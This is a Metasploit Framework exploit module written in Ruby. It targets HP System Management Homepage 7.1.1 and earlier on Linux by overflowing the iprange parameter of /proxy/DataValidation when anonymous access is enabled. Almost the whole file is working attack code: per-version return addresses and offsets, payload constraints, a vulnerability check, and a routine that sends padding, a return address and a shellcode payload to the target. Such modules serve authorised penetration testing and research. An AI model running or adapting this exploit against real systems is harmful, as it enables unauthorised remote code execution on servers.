##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
HttpFingerprint = { :pattern => [ /HP System Management Homepage/ ] }
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'HP System Management Anonymous Access Code Execution',
'Description' => %q{
This module exploits an anonymous remote code execution on HP System Management
7.1.1 and earlier. The vulnerability exists when handling the iprange parameter on
a request against /proxy/DataValidation. In order to work HP System Management must
be configured with Anonymous access enabled.
},
'Author' => [ 'agix' ], # @agixid
'License' => MSF_LICENSE,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1000,
'BadChars' => "\x00\x25\x0a\x0b\x0d\x3a\x3b\x09\x0c\x23\x20",
'EncoderOptions' =>
{
'BufferRegister' => 'ESP' # See the comments below
}
},
'Platform' => ['linux'],
'Arch' => ARCH_X86,
'References' =>
[
['OSVDB', '91812']
],
'Targets' =>
[
[ 'HP System Management 7.1.1 - Linux (CentOS)',
{
'Ret' => 0x8054e14, # push esp / ret
'Offset' => 267
}
],
[ 'HP System Management 6.3.0 - Linux (CentOS)',
{
'Ret' => 0x805a547, # push esp / ret
'Offset' => 267
}
]
],
'DisclosureDate' => 'Sep 01 2012',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(2381),
OptBool.new('SSL', [true, 'Use SSL', true])
], self.class)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => "/cpqlogin.htm"
})
if res and res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/
version = $1
return Exploit::CheckCode::Vulnerable if version <= "7.1.1.1"
end
return Exploit::CheckCode::Safe
end
def exploit
padding = rand_text_alpha(target['Offset'])
ret = [target['Ret']].pack('V')
iprange = "a-bz"+padding+ret+payload.encoded
print_status("#{rhost}:#{rport} - Sending exploit...")
res = send_request_cgi({
'method' => 'GET',
'uri' => "/proxy/DataValidation",
'encode_params' => false,
'vars_get' => {
'iprange' => iprange
}
})
end
end
